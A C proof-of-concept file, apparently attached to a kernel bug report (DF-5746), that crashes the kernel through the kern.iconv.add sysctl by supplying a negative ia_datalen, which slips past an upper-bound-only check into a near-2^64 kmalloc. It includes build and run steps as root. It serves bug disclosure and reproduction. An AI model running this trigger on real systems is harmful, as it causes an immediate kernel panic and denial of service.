/* DF-5746 trigger C — negative ia_datalen reaches kmalloc() unchecked.
 *
 * sys/libiconv/iconv.c:410 validates only the UPPER bound
 * ("if (din.ia_datalen > ICONV_CSMAXDATALEN) return EINVAL").
 * A negative ia_datalen is non-zero, so iconv.c:427 does
 *   kmalloc((size_t)negative, M_ICONVDATA, M_WAITOK)
 * which is a near-2^64 allocation -> kern_slaballoc.c:1724
 * panic("kmem_slab_alloc(): kernel_map ran out of space!").
 *
 * Build: cc -I/usr/src/sys -o trigger_neg trigger_neg.c
 * Run:   ./trigger_neg        (as root; expect immediate panic)
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/iconv.h>
#include <stdio.h>
#include <string.h>

int
main(void)
{
	struct iconv_add_in din;
	struct iconv_add_out dout;
	size_t olen = sizeof(dout);

	memset(&din, 0, sizeof(din));
	din.ia_version = ICONV_ADD_VER;
	strcpy(din.ia_converter, "xlat16");
	strcpy(din.ia_to, "NEGD");
	strcpy(din.ia_from, "UTF-16BE");
	din.ia_datalen = -4096;
	din.ia_data = NULL;

	printf("[*] registering with ia_datalen=%d ...\n", din.ia_datalen);
	fflush(stdout);
	if (sysctlbyname("kern.iconv.add", &dout, &olen, &din, sizeof(din)) < 0) {
		perror("sysctl kern.iconv.add");
		return (1);
	}
	printf("[?] returned without panic (unexpected)\n");
	return (0);
}
